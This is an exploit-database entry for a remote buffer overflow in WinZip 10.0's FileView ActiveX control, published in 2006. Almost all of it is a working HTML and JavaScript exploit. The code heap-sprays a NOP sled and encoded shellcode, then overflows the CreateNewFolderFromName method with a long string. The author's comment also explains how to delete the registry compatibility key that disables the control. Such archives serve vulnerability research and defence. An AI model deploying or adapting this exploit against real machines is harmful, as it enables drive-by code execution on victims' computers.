WinZip 10.0 - FileView ActiveX Controls Remote Overflow

EDB-ID:

3055

Author:

XiaoHui

Type:

remote

Platform:

Windows

Published:

2006-12-31

<html>
<head>
<object classid="clsid:{A09AE68F-B14D-43ED-B713-BA413F034904}" id="winzip">
</object>
</head>
<body>
<SCRIPT language="javascript">
 /*
 ---===[ winzip-exploit.html
 
XiaoHui : 76693223[at]163com
HomePage: www.nipc.org.cn
(c) 2006 All rights reserved.
note:Because of the prior vuln in FileView ActiveX Control,Micorsoft has disabled this ActiveX Controls,
To test this vuln,You can delete the key:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{A09AE68F-B14D-43ED-B713-BA413F034904}]
"Compatibility Flags"=dword:00000400
I have test the exploit on Windows 2000+sp4(CN) and Windows xp+sp2(CN) and Winzip 10.0(6667),you can tryother version,goodluck~ 

]===---
*/
 var heapSprayToAddress = 0x0d0d0d0d;
 var payLoadCode = unescape(        "%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
 var heapBlockSize = 0x400000;
 var payLoadSize = payLoadCode.length * 2;
 var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
 var spraySlide = unescape("%u9090%u9090");
 spraySlide = getSpraySlide(spraySlide,spraySlideSize);
 heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
 memory = new Array();
 for (i=0;i<heapBlocks;i++)
 {
  memory[i] = spraySlide + payLoadCode;
 }
 
 var xh = 'A';
 while (xh.length < 231) xh+='A';
 xh+="\x0d\x0d\x0d\x0d";
 winzip.CreateNewFolderFromName(xh);
 function getSpraySlide(spraySlide, spraySlideSize)
 {
  while (spraySlide.length*2<spraySlideSize)
  {
   spraySlide += spraySlide;
  }
  spraySlide = spraySlide.substring(0,spraySlideSize/2);
  return spraySlide;
 }
 
</script>                                                                                                                    
                                      
</body>
</html>

# milw0rm.com [2006-12-31]